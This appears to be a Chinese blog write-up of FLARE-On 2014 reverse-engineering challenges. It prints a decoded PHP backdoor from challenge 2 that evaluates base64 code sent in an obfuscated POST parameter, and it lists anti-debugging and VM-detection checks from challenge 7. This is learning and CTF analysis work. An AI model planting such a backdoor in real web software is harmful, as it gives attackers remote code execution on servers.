flare-on2014复现记录

复现了flare-on2014的部分题目,有的题目已经不具时效性,或者相关软件已经无法找到,便不再复现。

Flare-on 1

签到题,给了一个安装程序(这个不是题目),安装之后得到一个NET文件,直接拖进dnspy

断在程序入口点

image-20211123202529321

跟进Form1()下好断点

然后在他下面的函数那里下好断电

image-20211123202715849

看到下面的几个for循环,这里直接下断点

image-20211123202844320

然后直接继续运行,这里观察下面的内存窗口,就可以看到flag

image-20211123202936006

这个题目一开始给一张图片,然后按下按钮上面的字会变成乱码,很容易猜到这是把flag给改变了

Flare-on 2

题目给了一个图片,直接想到可能是图片隐写,winhex观察

image-20211123203219289

这里看反正是隐写了一种语言的代码,再下面还有一些代码

image-20211123203331215

将数据和代码提取出来

1
2
3
4
5
6
7
8
9
order = [
59, 71, 73, 13, 35, 10, 20, 81, 76, 10, 28, 63, 12, 1, 28, 11, 76, 68, 50, 30, 11, 24, 7, 63, 45, 20, 23, 68, 87, 42, 24, 60, 87, 63, 18, 58, 87, 63, 18, 58, 87, 63, 83, 43, 87, 93, 18, 90, 38, 28, 18, 19, 66, 28, 18, 17, 37, 63, 58, 37, 91, 63, 83, 43, 87, 42, 24, 60, 87, 93, 18, 87, 66, 28, 48, 19, 66, 63, 50, 37, 91, 63, 17, 1, 87, 93, 18, 45, 66, 28, 48, 19, 40, 11, 25, 5, 70, 63, 7, 37, 91, 63, 12, 1, 87, 93, 18, 81, 37, 28, 48, 19, 12, 63, 25, 37, 91, 63, 83, 63, 87, 93, 18, 87, 23, 28, 18, 75, 49, 28, 48, 19, 49, 0, 50, 37, 91, 63, 18, 50, 87, 42, 18, 90, 87, 93, 18, 81, 40, 28, 48, 19, 40, 11, 7, 5, 70, 63, 7, 37, 91, 63, 12, 68, 87, 93, 18, 81, 7, 28, 48, 19, 66, 63, 50, 5, 40, 63, 25, 37, 91, 63, 24, 63, 87, 63, 12, 68, 87, 0, 24, 17, 37, 28, 18, 17, 37, 0, 50, 5, 40, 42, 50, 5, 49, 42, 25, 5, 91, 63, 50, 5, 70, 42, 25, 37, 91, 63, 75, 1, 87, 93, 18, 1, 17, 80, 58, 66, 3, 86, 27, 88, 77, 80, 38, 25, 40, 81, 20, 5, 76, 81, 15, 50, 12, 1, 24, 81, 66, 28, 40, 90, 58, 81, 40, 30, 75, 1, 27, 19, 75, 28, 7, 88, 32, 45, 7, 90, 52, 80, 58, 5, 70, 63, 7, 5, 66, 42, 25, 37, 91, 0, 12, 50, 87, 63, 83, 43, 87, 93, 18, 90, 38, 28, 48, 19, 7, 63, 50, 5, 37, 0, 24, 1, 87, 0, 24, 72, 66, 28, 48, 19, 40, 0, 25, 5, 37, 0, 24, 1, 87, 93, 18, 11, 66, 28, 18, 87, 70, 28, 48, 19, 7, 63, 50, 5, 37, 0, 18, 1, 87, 42, 24, 60, 87, 0, 24, 17, 91, 28, 18, 75, 49, 28, 18, 45, 12, 28, 48, 19, 40, 0, 7, 5, 37, 0, 24, 90, 87, 93, 18, 81, 37, 28, 48, 19, 49, 0, 50, 5, 40, 63, 25, 5, 91, 63, 50, 5, 37, 0, 18, 68, 87, 93, 18, 1, 18, 28, 48, 19, 40, 0, 25, 5, 37, 0, 24, 90, 87, 0, 24, 72, 37, 28, 48, 19, 66, 63, 50, 5, 40, 63, 25, 37, 91, 63, 24, 63, 87, 63, 12, 68, 87, 0, 24, 17, 37, 28, 48, 19, 40, 90, 25, 37, 91, 63, 18, 90, 87, 93, 18, 90, 38, 28, 18, 19, 66, 28, 18, 75, 70, 28, 48, 19, 40, 90, 58, 37, 91, 63, 75, 11, 79, 28, 27, 75, 3, 42, 23, 88, 30, 35, 47, 59, 71, 71, 73, 35, 68, 38, 63, 8, 1, 38, 45, 30, 81, 15, 50, 12, 1, 24, 81, 66, 28, 40, 90, 58, 81, 40, 30, 75, 1, 27, 19, 75, 28, 23, 75, 77, 1, 28, 1, 43, 52, 31, 19, 75, 81, 40, 30, 75, 1, 27, 75, 77, 35, 47, 59, 71, 71, 71, 73, 21, 4, 37, 51, 40, 4, 7, 91, 7, 4, 37, 77, 49, 4, 7, 91, 70, 4, 37, 49, 51, 4, 51, 91, 4, 37, 70, 6, 4, 7, 91, 91, 4, 37, 51, 70, 4, 7, 91, 49, 4, 37, 51, 6, 4, 7, 91, 91, 4, 37, 51, 70, 21, 47, 93, 8, 10, 58, 82, 59, 71, 71, 71, 82, 59, 71, 71, 29, 29, 47
]

terms = [
"M", "Z", "]", "p", "\\", "w", "f", "1", "v", "<", "a", "Q", "z", " ", "s", "m", "+", "E", "D", "g", "W", '"', "q", "y", "T", "V", "n", "S", "X", ")", "9", "C", "P", "r", "&", "'", "!", "x", "G", ":", "2", "~", "O", "h", "u", "U", "@", ";", "H", "3", "F", "6", "b", "L", ">", "^", ",", ".", "l", "$", "d", "`", "%", "N", "*", "[", "0", "}", "J", "-", "5", "_", "A", "=", "{", "k", "o", "7", "#", "i", "I", "Y", "(", "j", "/", "?", "K", "c", "B", "t", "R", "4", "8", "e", "|"
]


这里就是用orde里的值来索引trems

用python来跑一下,得到一串base64密文,

1
2
3
4
5
6
7
8
$_='aWYoaXNzZXQoJF9QT1NUWyJcOTdcNDlcNDlcNjhceDRGXDg0XDExNlx4NjhcOTdceDc0XHg0NFx4NEZceDU0XHg2QVw5N1x4NzZceDYxXHgzNVx4NjNceDcyXDk3XHg3MFx4NDFcODRceDY2XHg2Q1w5N1x4NzJceDY1XHg0NFw2NVx4NTNcNzJcMTExXDExMFw2OFw3OVw4NFw5OVx4NkZceDZEIl0pKSB7IGV2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbIlw5N1w0OVx4MzFcNjhceDRGXHg1NFwxMTZcMTA0XHg2MVwxMTZceDQ0XDc5XHg1NFwxMDZcOTdcMTE4XDk3XDUzXHg2M1wxMTRceDYxXHg3MFw2NVw4NFwxMDJceDZDXHg2MVwxMTRcMTAxXHg0NFw2NVx4NTNcNzJcMTExXHg2RVx4NDRceDRGXDg0XDk5XHg2Rlx4NkQiXSkpOyB9';

$__='JGNvZGU9YmFzZTY0X2RlY29kZSgkXyk7ZXZhbCgkY29kZSk7';

$___="\x62\141\x73\145\x36\64\x5f\144\x65\143\x6f\144\x65";

eval($___($__));

解开密文,得到

1
2
3
4
5
if(isset($_POST["\97\49\49\68\x4F\84\116\x68\97\x74\x44\x4F\x54\x6A\97\x76\x61\x35\x63\x72\97\x70\x41\84\x66\x6C\97\x72\x65\x44\65\x53\72\111\110\68\79\84\99\x6F\x6D"])) 
{ eval(base64_decode($_POST["\97\49\x31\68\x4F\x54\116\104\x61\116\x44\79\x54\106\97\118\97\53\x63\114\x61\x70\65\84\102\x6C\x61\114\101\x44\65\x53\72\111\x6E\x44\x4F\84\99\x6F\x6D"]));
}
$code=base64_decode($_);eval($code);
下面那个没解出来

直接把后面的内容再用base解开,就能得到flag

1
a11DOTthatDOTjava5crapATflareDASHonDOTcom

这里把里面的DOT换成点,AT换成@,DASH换成-

网页其实是迷惑人的,关键在图片隐写

Flare-on 3

这个就纯动态调试了,没啥别的。不过出题人的本意应该是考察idc的使用

给了一个没有后缀的32位PE文件(winhex得出),然后加上后缀运行,直接弹错。不难看出,这里的报错是刻意为之的

进ida看一下

image-20211123204253909

函数不多,但是没有什么实际价值

image-20211123204310491

这里看起来需要动态调试,打开x32dbg,直接在0x401000处下断点,然后f9,来到最后的一个call这里

image-20211103194501505

f7跟进之后,f8往下走,发现这里一个和0x66的异或,看一下异或之后的数据

在循环的时候,看到下面的指令在不断变化,这里直接在内存窗口看一下

循环结束之后发下字符串

so it beginshus:这应该是开始的标志

在jmp之后又遇到一个循环,看到又在内存中生成了一串字符串

image-20211103195406253

这里还是不清楚他想表达什么,但是这些字符串没有出现在程序窗口中,应该是作者刻意为之,继续往下跑

时刻观察着内存窗口,然后一直往下跑,不一会就看到了flag

image-20211103195648942

Flare-on 4

这个pdf有一个背景,就是mandiant公司在2014年揭露了一个中国的国营黑客组织

“61398股”工作的性质被中国视为国家机密:然而,我们相信它从事有害的”计算机网络操作”。

61398号机组部分位于高桥镇大同路(路旁),位于上海浦东新区(区)。该大院的中心建筑是一个 130,663 平方英尺的设施,高 12 层,建于 2007 年初。

我们估计,61398股有成百上千的人员,根据61398股的有形基础设施的规模。

中国电信以国防的名义为该单位提供了特殊的光纤通信基础设施。

61398股要求其人员接受计算机安全和计算机网络操作培训,并要求其人员精通英语。

给了一个PDF,看官方wp,在用老版本的pdf阅读器的时候,程序会执行一些代码,但是我没有找到这个阅读器,现在的阅读器过于先进和安全,所以就没有成功复现

Flare-on 5

这是一个简单的dll逆向吧,开始想去直接动态调试,但是dll文件没有动起来,就只能静态看看了

ida进去找到dllmain函数

image-20211107214222015

分析了一堆没啥用的api函数,最后在下面找到了关键函数

image-20211107214331089

这里发现有俩函数,都跟进去看一下

第一个函数:

image-20211107214452357

这时要学会浏览函数列表,列表中总会有一些函数,有奇怪的作用(算是一个逆向的技巧吧)

然后找到了一个函数(从上往下第四位)

image-20211107214757593

函数很大,这里直接用c语言模拟一下

image-20211107215840081

得到这个,考虑到这是dll文件,所以这里考虑输出这个函数,他就运行成功了

然后跟进xref向回引用查找

image-20211107220004372

这里调用了成功函数,看到只有当这个数组>0时,才可以,所以看一下他在哪里被赋值了

image-20211107220110634

这里跳转到下面那个,

image-20211107220139870

这里再看他赋值为1的条件,是上面那个大于0,以此类推,靠着这个数组的和0比较的大小,不停的向回跳转,然后每一个函数最后都有一个返回值

image-20211107220319910

根据xref的顺序记录一下返回值(这把一些英文单词换成符号)

得到:l0gging.ur.5tr0ke5atflare-on.com

Flare-on 6

这个elf文件不会,看他们分析也分析不出来

Flare-on 7

这个程序我不敢在本机跑,然后再win7虚拟机里跑也会出错,说他是个16位的程序,但是实际上是32位的,我不理解,这里记录一下题目中的涉及的反调试函数

IsDebuggerPresent() //调试时会返回1

IDT() //检查是否使用虚拟机

image-20211123210400912

通过使用特权指令判断是否使用虚拟机

image-20211123210427090

计算了1e1030到1e1780之间的0xCC数量,未调试时应为0x55

image-20211123210524084

peb中的BeingDebugged,当调试时这个值为1

image-20211123210559391

peb偏移0x68处为未公开的一处位置,调试时这个值为0x70

image-20211123210629610

以上参考harmonica11师傅的博客,我也没有找到这些函数